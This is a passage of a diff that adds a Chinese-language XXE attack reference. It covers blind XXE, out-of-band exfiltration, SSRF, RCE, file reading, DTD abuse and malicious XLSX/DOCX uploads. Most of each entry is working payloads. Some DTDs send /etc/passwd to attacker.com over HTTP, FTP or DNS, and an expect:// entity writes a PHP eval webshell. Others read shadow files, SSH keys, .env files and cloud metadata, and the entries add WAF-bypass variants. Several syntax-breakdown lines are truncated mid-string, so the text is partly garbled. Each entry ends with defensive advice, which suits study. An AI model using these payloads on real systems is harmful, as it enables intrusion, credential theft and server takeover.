+ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
163
+ %xxe;
164
+ ]>
165
+ <foo>test</foo>
166
+
167
+ # xxe.dtd内容
168
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
169
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
170
+ %eval;
171
+ %exfil;
172
+ ```
173
+ **语法解析:**
174
+ - `file://` — 文件协议 _method_
175
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
176
+ - `<!ENTITY>` — 实体定义 _tag_
177
+ - `SYSTEM` — 外部实体引用 _keyword_
178
+ - `/etc/passwd` — 敏感文件路径 _path_
179
+ - `&#xx;` — HTML实体编码 _encoding_
180
+
181
+ **WAF/EDR 绕过变体:**
182
+
183
+ **编码绕过**
184
+ > 编码绕过
185
+ ```
186
+ 使用UTF-16编码XML文档
187
+ 绕过WAF检测
188
+ ```
189
+ **语法解析:**
190
+ - `使用UTF-16编码XML文档
191
+ 绕过WAF检测` — 攻击载荷 _value_
192
+
193
+
194
+ **概述:** Blind XXE是指XML外部实体注入成功但响应中不直接显示实体内容的场景,需要通过带外(OOB)数据外泄技术将读取的文件内容通过HTTP/DNS等方式发送到攻击者控制的服务器。
195
+
196
+ **漏洞原理:** Blind XXE利用参数实体(%entity)和外部DTD实现数据外泄:在外部DTD中定义嵌套实体引用,将文件内容拼接到HTTP请求URL中发送到攻击者服务器。部分XML解析器限制了实体嵌套,需使用不同的外泄策略。
197
+
198
+ **利用方法:** 完整利用流程:
199
+ 1. 确认XXE存在
200
+ 2. 使用参数实体
201
+ 3. 构造OOB外带
202
+ 4. 获取敏感数据
203
+
204
+ **防御措施:** 防御Blind XXE:禁用XML外部实体和DTD处理(最有效),使用JSON代替XML格式,配置网络层出站流量白名单阻止OOB数据外泄,部署WAF检测DTD声明和实体引用,监控DNS/HTTP异常外联请求。
205
+
206
+ ---
207
+
208
+ ### XXE OOB外带攻击 `xxe-oob`
209
+ _利用OOB技术外带XXE数据_
210
+ 子类:**OOB外带** · tags: `xxe` `oob` `exfiltration` `xml`
211
+
212
+ **前置条件:**
213
+ - 存在XXE漏洞
214
+ - 可发起外部请求
215
+
216
+ **攻击链:**
217
+
218
+ **1. HTTP外带**
219
+ > HTTP外带数据
220
+ ```
221
+ <?xml version="1.0"?>
222
+ <!DOCTYPE foo [
223
+ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
224
+ %xxe;
225
+ ]>
226
+ <foo></foo>
227
+
228
+ # evil.dtd
229
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
230
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/log?data=%file;'>">
231
+ %eval;
232
+ %exfil;
233
+ ```
234
+ **语法解析:**
235
+ - `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">` — 参数实体引用远程恶意DTD文件 _command_
236
+ - `%xxe;` — 在DTD中展开参数实体,加载远程DTD _operator_
237
+ - `<!ENTITY % file SYSTEM "file:///etc/passwd">` — 在DTD中读取目标服务器本地文件 _value_
238
+ - `http://attacker.com/log?data=%file;` — 通过HTTP请求参数将文件内容外带 _value_
239
+
240
+ **2. FTP外带**
241
+ > FTP外带数据
242
+ ```
243
+ <?xml version="1.0"?>
244
+ <!DOCTYPE foo [
245
+ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
246
+ %xxe;
247
+ ]>
248
+ <foo></foo>
249
+
250
+ # evil.dtd
251
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
252
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
253
+ %eval;
254
+ %exfil;
255
+ ```
256
+ **语法解析:**
257
+ - `ftp://attacker.com/%file;` — 使用FTP协议外带数据,支持多行内容 _command_
258
+ - `%eval;` — 展开eval参数实体,动态构造外带实体 _operator_
259
+ - `%exfil;` — 触发外带请求,将数据发送到攻击者FTP服务器 _operator_
260
+
261
+ **3. DNS外带**
262
+ > DNS外带
263
+ ```
264
+ <?xml version="1.0"?>
265
+ <!DOCTYPE foo [
266
+ <!ENTITY xxe SYSTEM "http://attacker.com/log?file=/etc/passwd">
267
+ ]>
268
+ <foo>&xxe;</foo>
269
+
270
+ # 或使用子域名
271
+ <!ENTITY xxe SYSTEM "http://filecontent.attacker.com/">
272
+ ```
273
+ **语法解析:**
274
+ - `http://filecontent.attacker.com/` — 将文件内容作为子域名通过DNS解析外带 _value_
275
+ - `&xxe;` — 在XML内容中引用通用实体触发请求 _operator_
276
+
277
+ **WAF/EDR 绕过变体:**
278
+
279
+ **使用CDATA**
280
+ > CDATA包装
281
+ ```
282
+ <?xml version="1.0"?>
283
+ <!DOCTYPE foo [
284
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
285
+ ]>
286
+ <foo><![CDATA[&xxe;]]></foo>
287
+ ```
288
+ **语法解析:**
289
+ - `<![CDATA[` — XML CDATA段开始标记,内容不被XML解析器处理 _operator_
290
+ - `&xxe;` — 实体引用在CDATA之前被解析展开 _variable_
291
+ - `]]>` — CDATA段结束标记 _operator_
292
+
293
+
294
+ **概述:** XXE OOB(Out-of-Band)带外数据外泄是Blind XXE的核心利用技术,通过HTTP/FTP/DNS等外部通道将服务器内部数据传输到攻击者,是XXE漏洞从检测到实际数据提取的关键步骤。
295
+
296
+ **漏洞原理:** XXE OOB通过多层参数实体嵌套实现:1)第一个实体读取目标文件 2)第二个实体(外部DTD)将文件内容拼接进HTTP URL 3)解析器请求该URL将数据发送到攻击者。FTP协议可外泄多行内容,DNS可在严格网络环境下作为隐蔽通道。
297
+
298
+ **利用方法:** 完整利用流程:
299
+ 1. 托管恶意DTD文件
300
+ 2. 构造XXE payload
301
+ 3. 触发外带请求
302
+ 4. 接收并解析数据
303
+
304
+ **防御措施:** 防御XXE OOB:完全禁用外部实体处理和DTD加载,配置严格的出站网络策略(仅允许必要的白名单出站),监控异常DNS查询和HTTP外联请求,使用RASP检测XML解析中的文件访问和网络请求行为。
305
+
306
+ ---
307
+
308
+ ### XXE+SSRF组合攻击 `xxe-ssrf`
309
+ _利用XXE实现SSRF攻击_
310
+ 子类:**XXE+SSRF** · tags: `xxe` `ssrf` `combination` `xml`
311
+
312
+ **前置条件:**
313
+ - 存在XXE漏洞
314
+ - 内网可访问
315
+
316
+ **攻击链:**
317
+
318
+ **1. 扫描内网端口**
319
+ > 扫描内网端口
320
+ ```
321
+ <?xml version="1.0"?>
322
+ <!DOCTYPE foo [
323
+ <!ENTITY xxe SYSTEM "http://192.168.1.1:22">
324
+ ]>
325
+ <foo>&xxe;</foo>
326
+
327
+ # 批量扫描
328
+ <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
329
+ <!ENTITY xxe SYSTEM "http://192.168.1.1:443">
330
+ ```
331
+ **语法解析:**
332
+ - `<!ENTITY xxe SYSTEM` — 定义外部通用实体,支持多种协议 _command_
333
+ - `"http://192.168.1.1:22"` — 目标内网IP和端口,通过响应差异判断端口状态 _value_
334
+ - `&xxe;` — 在XML内容中引用实体触发HTTP请求 _operator_
335
+
336
+ **2. 访问内网服务**
337
+ ```
338
+ <?xml version="1.0"?>
339
+ <!DOCTYPE foo [
340
+ <!ENTITY xxe SYSTEM "http://127.0.0.1:6379/info">
341
+ ]>
342
+ <foo>&xxe;</foo>
343
+
344
+ # 访问Redis
345
+ # 访问内部API
346
+ ```
347
+ **语法解析:**
348
+ - `127.0.0.1` — 本地回环 _domain_
349
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
350
+ - `<!ENTITY>` — 实体定义 _tag_
351
+ - `SYSTEM` — 外部实体引用 _keyword_
352
+
353
+ **WAF/EDR 绕过变体:**
354
+
355
+ **编码绕过**
356
+ > 编码绕过
357
+ ```
358
+ 使用不同编码格式绕过IP过滤
359
+ ```
360
+ **语法解析:**
361
+ - `IP编码` — 使用十进制(2130706433)、十六进制(0x7f000001)、八进制(0177.0.0.1)绕过 _command_
362
+ - `URL编码` — 对URL进行单次或双重URL编码绕过过滤 _parameter_
363
+
364
+
365
+ **概述:** XXE SSRF利用XML外部实体发起服务端请求,可探测和访问内网服务、云元数据API、本地端口等,将XXE漏洞的影响范围从XML解析器所在服务器扩展到整个内网环境。
366
+
367
+ **漏洞原理:** XXE SSRF通过SYSTEM实体引用内网URL:<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">获取云元数据、http://internal-service:8080/admin访问内网管理接口、http://127.0.0.1:port/进行端口扫描等。
368
+
369
+ **利用方法:** 完整利用流程:
370
+ 1. 发现XXE漏洞
371
+ 2. 构造SSRF payload
372
+ 3. 访问内网服务
373
+ 4. 获取敏感信息
374
+
375
+ **防御措施:** 防御XXE SSRF:禁用外部实体处理,配置网络分段限制XML解析服务器的网络访问范围,阻止对元数据服务(169.254.169.254)的请求,启用IMDSv2(AWS)要求Token认证,监控异常内网HTTP请求。
376
+
377
+ ---
378
+
379
+ ### XXE到RCE `xxe-rce`
380
+ _利用XXE实现远程代码执行_
381
+ 子类:**XXE到RCE** · tags: `xxe` `rce` `php` `expect`
382
+
383
+ **前置条件:**
384
+ - 存在XXE漏洞
385
+ - PHP expect扩展加载
386
+
387
+ **攻击链:**
388
+
389
+ **1. Expect扩展RCE**
390
+ > 使用expect协议执行命令
391
+ ```
392
+ <?xml version="1.0"?>
393
+ <!DOCTYPE foo [
394
+ <!ENTITY xxe SYSTEM "expect://whoami">
395
+ ]>
396
+ <foo>&xxe;</foo>
397
+
398
+ # 执行任意命令
399
+ <!ENTITY xxe SYSTEM "expect://id">
400
+ <!ENTITY xxe SYSTEM "expect://cat /etc/passwd">
401
+ ```
402
+ **语法解析:**
403
+ - `expect://` — PHP expect协议 _value_
404
+ - `whoami` — 要执行的命令 _command_
405
+
406
+ **2. 写入WebShell**
407
+ ```
408
+ <?xml version="1.0"?>
409
+ <!DOCTYPE foo [
410
+ <!ENTITY xxe SYSTEM "expect://echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php">
411
+ ]>
412
+ <foo>&xxe;</foo>
413
+ ```
414
+ **语法解析:**
415
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
416
+ - `<!ENTITY>` — 实体定义 _tag_
417
+ - `SYSTEM` — 外部实体引用 _keyword_
418
+
419
+ **WAF/EDR 绕过变体:**
420
+
421
+ **编码绕过**
422
+ > 编码绕过
423
+ ```
424
+ 使用Base64或其他编码绕过命令过滤
425
+ ```
426
+ **语法解析:**
427
+ - `使用Base64或其他编码绕过命令过滤` — 攻击载荷 _value_
428
+
429
+
430
+ **概述:** XXE远程代码执行在特定环境下可实现:PHP的expect://协议直接执行命令、通过XXE写入WebShell文件、利用XXE SSRF攻击内网服务(如Redis)间接RCE,以及通过Java反序列化与XXE组合攻击。
431
+
432
+ **漏洞原理:** XXE RCE利用路径:1)PHP expect://包装器(<!ENTITY rce SYSTEM "expect://whoami">) 2)结合文件上传写入WebShell 3)XXE SSRF→gopher://攻击内网Redis/MySQL实现RCE 4)Java环境下XXE触发反序列化漏洞。
433
+
434
+ **利用方法:** 完整利用流程:
435
+ 1. 确认expect扩展可用
436
+ 2. 构造expect协议payload
437
+ 3. 执行系统命令
438
+ 4. 获取Shell
439
+
440
+ **防御措施:** 防御XXE RCE:禁用外部实体和所有PHP流包装器,删除不必要的PHP扩展(如expect),严格的文件系统权限防止写入Web目录,网络隔离限制XML解析服务器的网络访问,定期更新XML解析库版本。
441
+
442
+ ---
443
+
444
+ ### XXE文件读取 `xxe-file-read`
445
+ _利用XXE读取服务器文件_
446
+ 子类:**文件读取** · tags: `xxe` `file` `read` `lfi`
447
+
448
+ **前置条件:**
449
+ - 存在XXE漏洞
450
+ - 有文件读取权限
451
+
452
+ **攻击链:**
453
+
454
+ **1. 读取Linux文件**
455
+ > 读取Linux系统文件
456
+ _platform: linux_
457
+ ```
458
+ <?xml version="1.0"?>
459
+ <!DOCTYPE foo [
460
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
461
+ ]>
462
+ <foo>&xxe;</foo>
463
+
464
+ # 其他敏感文件
465
+ file:///etc/shadow
466
+ file:///etc/hosts
467
+ file:///root/.ssh/id_rsa
468
+ file:///proc/self/environ
469
+ ```
470
+ **语法解析:**
471
+ - `file://` — 本地文件协议 _value_
472
+ - `/etc/passwd` — 用户信息文件 _path_
473
+
474
+ **2. 读取Windows文件**
475
+ > 读取Windows系统文件
476
+ _platform: windows_
477
+ ```
478
+ <?xml version="1.0"?>
479
+ <!DOCTYPE foo [
480
+ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
481
+ ]>
482
+ <foo>&xxe;</foo>
483
+
484
+ # 其他敏感文件
485
+ file:///c:/windows/system32/config/sam
486
+ file:///c:/users/administrator/.ssh/id_rsa
487
+ ```
488
+ **语法解析:**
489
+ - `<?xml version="1.0"?>` — XML声明/实体定义 _tag_
490
+ - `<!DOCTYPE foo [
491
+ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">` — XML声明/实体定义 _tag_
492
+ - `
493
+ ]>
494
+ <foo>&xxe;</foo>
495
+
496
+ # 其他敏感文件
497
+ file:///c:/windows/syste` — XML内容 _value_
498
+
499
+ **3. 读取Web配置**
500
+ > 读取Web应用配置
501
+ ```
502
+ <?xml version="1.0"?>
503
+ <!DOCTYPE foo [
504
+ <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
505
+ ]>
506
+ <foo>&xxe;</foo>
507
+
508
+ # 常见配置文件
509
+ file:///var/www/html/wp-config.php
510
+ file:///app/.env
511
+ file:///app/config/database.yml
512
+ ```
513
+ **语法解析:**
514
+ - `<?xml version="1.0"?>` — XML声明/实体定义 _tag_
515
+ - `<!DOCTYPE foo [
516
+ <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">` — XML声明/实体定义 _tag_
517
+ - `
518
+ ]>
519
+ <foo>&xxe;</foo>
520
+
521
+ # 常见配置文件
522
+ file:///var/www/html/wp-` — XML内容 _value_
523
+
524
+ **4. 读取源代码**
525
+ > 使用PHP Filter读取源码
526
+ ```
527
+ <?xml version="1.0"?>
528
+ <!DOCTYPE foo [
529
+ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
530
+ ]>
531
+ <foo>&xxe;</foo>
532
+ ```
533
+ **语法解析:**
534
+ - `<?xml version="1.0"?>` — XML声明/实体定义 _tag_
535
+ - `<!DOCTYPE foo [
536
+ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resourc` — XML声明/实体定义 _tag_
537
+ - `
538
+ ]>
539
+ <foo>&xxe;</foo>` — XML内容 _value_
540
+
541
+ **WAF/EDR 绕过变体:**
542
+
543
+ **使用参数实体**
544
+ > 参数实体绕过
545
+ ```
546
+ <?xml version="1.0"?>
547
+ <!DOCTYPE foo [
548
+ <!ENTITY % xxe SYSTEM "file:///etc/passwd">
549
+ <!ENTITY bar "%xxe;">
550
+ ]>
551
+ <foo>&bar;</foo>
552
+ ```
553
+ **语法解析:**
554
+ - `<?xml version="1.0"?>` — XML声明/实体定义 _tag_
555
+ - `<!DOCTYPE foo [
556
+ <!ENTITY % xxe SYSTEM "file:///etc/passwd">` — XML声明/实体定义 _tag_
557
+ - `<!ENTITY bar "%xxe;">` — XML声明/实体定义 _tag_
558
+ - `
559
+ ]>
560
+ <foo>&bar;</foo>` — XML内容 _value_
561
+
562
+
563
+ **概述:** XXE文件读取是XXE漏洞最基础的利用方式,通过file://协议定义外部实体读取服务器本地文件。直接回显方式可在响应中看到文件内容,是XXE漏洞验证和信息收集的首要步骤。
564
+
565
+ **漏洞原理:** XXE文件读取使用file://协议:<!ENTITY file SYSTEM "file:///etc/passwd">。可读取的关键文件包括系统配置(/etc/passwd,/etc/hosts)、应用源码、数据库配置(含密码)、SSH密钥等。二进制文件需使用PHP的php://filter/base64进行编码读取。
566
+
567
+ **利用方法:** 完整利用流程:
568
+ 1. 发现XXE漏洞
569
+ 2. 构造文件读取payload
570
+ 3. 读取敏感文件
571
+ 4. 获取凭据信息
572
+
573
+ **防御措施:** 防御XXE文件读取:在XML解析器配置中禁用外部实体(如Java的setFeature DISALLOW_DOCTYPE),使用安全的XML库(如defusedxml for Python),最小化运行XML解析进程的系统权限,将敏感文件权限设为仅owner可读。
574
+
575
+ ---
576
+
577
+ ### XXE外部DTD利用 `xxe-dtd`
578
+ _利用外部DTD文件进行XXE攻击_
579
+ 子类:**外部DTD** · tags: `xxe` `dtd` `external` `xml`
580
+
581
+ **前置条件:**
582
+ - 存在XXE漏洞
583
+ - 可访问外部DTD
584
+
585
+ **攻击链:**
586
+
587
+ **1. 托管恶意DTD**
588
+ > 创建恶意DTD文件
589
+ ```
590
+ # 在攻击者服务器创建evil.dtd
591
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
592
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
593
+ %eval;
594
+ %exfil;
595
+ ```
596
+ **语法解析:**
597
+ - `<!ENTITY % file SYSTEM "file:///etc/passwd">` — 参数实体读取目标系统文件 _command_
598
+ - `&#x25;` — %的HTML实体编码,在实体定义中引用其他参数实体 _operator_
599
+ - `http://attacker.com/?d=%file;` — 通过HTTP请求参数外带文件内容 _value_
600
+
601
+ **2. 引用外部DTD**
602
+ > 引用外部DTD文件
603
+ ```
604
+ <?xml version="1.0"?>
605
+ <!DOCTYPE foo [
606
+ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
607
+ %xxe;
608
+ ]>
609
+ <foo>test</foo>
610
+ ```
611
+ **语法解析:**
612
+ - `<!DOCTYPE foo [` — DTD声明块开始 _command_
613
+ - `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">` — 定义参数实体指向远程恶意DTD文件 _command_
614
+ - `%xxe;` — 展开参数实体,加载并执行远程DTD中的定义 _operator_
615
+
616
+ **3. 多步骤外带**
617
+ > 处理特殊字符
618
+ ```
619
+ # evil.dtd - 多步骤外带
620
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
621
+ <!ENTITY % start "<![CDATA[">
622
+ <!ENTITY % end "]]>">
623
+ <!ENTITY % all "%start;%file;%end;">
624
+ ```
625
+ **语法解析:**
626
+ - `<![CDATA[` — CDATA开始标记,处理文件中的XML特殊字符 _operator_
627
+ - `%start;%file;%end;` — 拼接CDATA标记和文件内容,避免XML解析错误 _variable_
628
+ - `%all;` — 展开包含完整CDATA包裹数据的实体 _operator_
629
+
630
+ **4. 错误消息泄露**
631
+ > 错误消息外带
632
+ ```
633
+ # 利用错误消息泄露数据
634
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
635
+ <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
636
+ %eval;
637
+ %error;
638
+
639
+ # 错误消息中会包含文件内容
640
+ ```
641
+ **语法解析:**
642
+ - `file://` — 文件协议 _method_
643
+ - `<!ENTITY>` — 实体定义 _tag_
644
+ - `SYSTEM` — 外部实体引用 _keyword_
645
+ - `/etc/passwd` — 敏感文件路径 _path_
646
+ - `&#xx;` — HTML实体编码 _encoding_
647
+
648
+ **WAF/EDR 绕过变体:**
649
+
650
+ **使用HTTPS**
651
+ > HTTPS绕过
652
+ ```
653
+ 使用HTTPS托管DTD文件绕过HTTP过滤
654
+ ```
655
+ **语法解析:**
656
+ - `使用HTTPS托管DTD文件绕过HTTP过滤` — 命令/关键字 _command_
657
+
658
+
659
+ **概述:** XXE DTD攻击利用文档类型定义(DTD)中的实体声明功能,通过内部DTD或加载外部DTD文件来定义和利用恶意实体。外部DTD方式可绕过某些解析器对内部DTD中参数实体嵌套的限制。
660
+
661
+ **漏洞原理:** XXE DTD利用方式:1)内部DTD直接声明SYSTEM实体读取文件 2)外部DTD加载攻击者服务器上的恶意DTD文件 3)利用本地DTD文件重新定义实体(适用于禁止外部DTD加载的环境) 4)参数实体嵌套实现复杂的数据外泄操作。
662
+
663
+ **利用方法:** 完整利用流程:
664
+ 1. 创建恶意DTD文件
665
+ 2. 托管在攻击者服务器
666
+ 3. 构造XXE引用DTD
667
+ 4. 触发外带获取数据
668
+
669
+ **防御措施:** 防御XXE DTD:完全禁用DTD处理(disallow-doctype-decl=true),禁止加载外部DTD文件,如必须使用DTD则仅允许特定的本地DTD,WAF检测并拦截包含DOCTYPE声明的XML请求,使用不支持DTD的轻量级XML解析模式。
670
+
671
+ ---
672
+
673
+ ### XLSX文件XXE `xxe-xlsx`
674
+ _利用XLSX文件进行XXE攻击_
675
+ 子类:**XLSX文件XXE** · tags: `xxe` `xlsx` `excel` `office`
676
+
677
+ **前置条件:**
678
+ - 应用解析XLSX文件
679
+ - 存在XXE漏洞
680
+
681
+ **攻击链:**
682
+
683
+ **1. 解压XLSX文件**
684
+ > 解压XLSX文件
685
+ ```
686
+ # XLSX本质是ZIP文件
687
+ unzip spreadsheet.xlsx
688
+
689
+ # 主要文件结构
690
+ xl/workbook.xml
691
+ xl/worksheets/sheet1.xml
692
+ xl/sharedStrings.xml
693
+ [Content_Types].xml
694
+ ```
695
+ **语法解析:**
696
+ - `unzip spreadsheet.xlsx` — XLSX是ZIP压缩包,直接解压获取内部XML文件 _command_
697
+ - `xl/workbook.xml` — 工作簿主配置文件,包含Sheet信息 _value_
698
+ - `xl/worksheets/sheet1.xml` — 工作表数据文件,包含单元格内容 _value_
699
+ - `[Content_Types].xml` — 内容类型定义文件,也可作为XXE注入点 _value_
700
+
701
+ **2. 注入XXE Payload**
702
+ ```
703
+ # 修改xl/workbook.xml
704
+ <?xml version="1.0"?>
705
+ <!DOCTYPE foo [
706
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
707
+ ]>
708
+ <workbook xmlns="...">
709
+ &xxe;
710
+ </workbook>
711
+ ```
712
+ **语法解析:**
713
+ - `file://` — 文件协议 _method_
714
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
715
+ - `<!ENTITY>` — 实体定义 _tag_
716
+ - `SYSTEM` — 外部实体引用 _keyword_
717
+ - `/etc/passwd` — 敏感文件路径 _path_
718
+
719
+ **WAF/EDR 绕过变体:**
720
+
721
+ **修改Content_Types**
722
+ > 修改Content_Types
723
+ ```
724
+ 修改[Content_Types].xml注入XXE
725
+ ```
726
+ **语法解析:**
727
+ - `[Content_Types].xml` — XLSX中的内容类型定义文件,常被忽略 _value_
728
+ - `XXE注入` — 在此文件中注入XXE,绕过仅检查workbook.xml的WAF _command_
729
+
730
+
731
+ **概述:** XLSX文件本质上是ZIP压缩包内的多个XML文件,上传恶意XLSX文件可触发服务端XML解析器的XXE漏洞。Office文档处理、数据导入、报表系统等功能是常见的攻击入口。
732
+
733
+ **漏洞原理:** XLSX XXE利用步骤:将XLSX文件解压→在xl/workbook.xml或[Content_Types].xml等XML文件中注入XXE实体声明→重新压缩为XLSX→上传到目标系统。当服务端使用不安全的XML解析器处理XLSX时触发XXE读取文件或SSRF。
734
+
735
+ **利用方法:** 完整利用流程:
736
+ 1. 解压XLSX文件
737
+ 2. 注入XXE payload
738
+ 3. 重新打包
739
+ 4. 上传触发漏洞
740
+
741
+ **防御措施:** 防御XLSX XXE:使用安全配置的XML解析库处理Office文档,在解析前验证XLSX文件结构并剥离DTD声明,使用专用的Office文档处理库(如Apache POI配置禁用外部实体),对上传文件进行沙箱解析。
742
+
743
+ ---
744
+
745
+ ### DOCX文件XXE `xxe-docx`
746
+ _利用DOCX文件进行XXE攻击_
747
+ 子类:**DOCX文件XXE** · tags: `xxe` `docx` `word` `office`
748
+
749
+ **前置条件:**
750
+ - 应用解析DOCX文件
751
+ - 存在XXE漏洞
752
+
753
+ **攻击链:**
754
+
755
+ **1. 解压DOCX文件**
756
+ > 解压DOCX文件
757
+ ```
758
+ # DOCX本质是ZIP文件
759
+ unzip document.docx
760
+
761
+ # 主要文件结构
762
+ word/document.xml
763
+ word/_rels/document.xml.rels
764
+ [Content_Types].xml
765
+ ```
766
+ **语法解析:**
767
+ - `unzip document.docx` — DOCX是ZIP压缩包,解压获取内部XML _command_
768
+ - `word/document.xml` — 主文档内容文件,核心注入点 _value_
769
+ - `word/_rels/document.xml.rels` — 文档关系文件,也可作为注入点 _value_
770
+ - `[Content_Types].xml` — 内容类型定义,备选注入点 _value_
771
+
772
+ **2. 注入XXE Payload**
773
+ ```
774
+ # 修改word/document.xml
775
+ <?xml version="1.0"?>
776
+ <!DOCTYPE foo [
777
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
778
+ ]>
779
+ <w:document xmlns:w="...">
780
+ <w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
781
+ </w:document>
782
+ ```
783
+ **语法解析:**
784
+ - `file://` — 文件协议 _method_
785
+ - `<!DOCTYPE>` — 文档类型声明 _tag_
786
+ - `<!ENTITY>` — 实体定义 _tag_
787
+ - `SYSTEM` — 外部实体引用 _keyword_
788
+ - `/etc/passwd` — 敏感文件路径 _path_
789
+
790
+ **WAF/EDR 绕过变体:**
791
+
792
+ **修改关系文件**
793
+ > 修改关系文件
794
+ ```
795
+ 修改_rels/.rels或document.xml.rels注入XXE
796
+ ```
797
+ **语法解析:**
798
+ - `_rels/.rels` — DOCX根关系文件,定义文档各部分的关联 _value_
799
+ - `document.xml.rels` — 文档关系文件,常被WAF忽略的注入点 _value_
800
+ - `XXE注入` — 在关系文件中注入XXE实体绕过内容检测 _command_
801
+
802
+
803
+ **概述:** DOCX文件与XLSX类似是基于XML的Office Open XML格式,通过修改其中的XML文件注入XXE实体,可在文档处理系统(在线预览/格式转换/内容提取)中触发服务端XXE漏洞。
804
+
805
+ **漏洞原理:** DOCX XXE注入点包括:word/document.xml(主文档内容)、[Content_Types].xml(内容类型定义)、word/_rels/.rels(关系定义)等XML文件。在线文档预览服务、文件格式转换API、简历解析系统等都是高风险攻击面。
806
+
807
+ **利用方法:** 完整利用流程:
808
+ 1. 解压DOCX文件
809
+ 2. 注入XXE payload
810
+ 3. 重新打包
811
+ 4. 上传触发漏洞
812
+
813
+ **防御措施:** 防御DOCX XXE:与XLSX防御相同,使用安全配置的XML解析器,禁用外部实体,对用户上传的Office文档进行预处理(剥离DTD/实体声明),在隔离环境中处理不可信文档,限制文档处理进程的网络和文件访问权限。
814
+
815
+ ---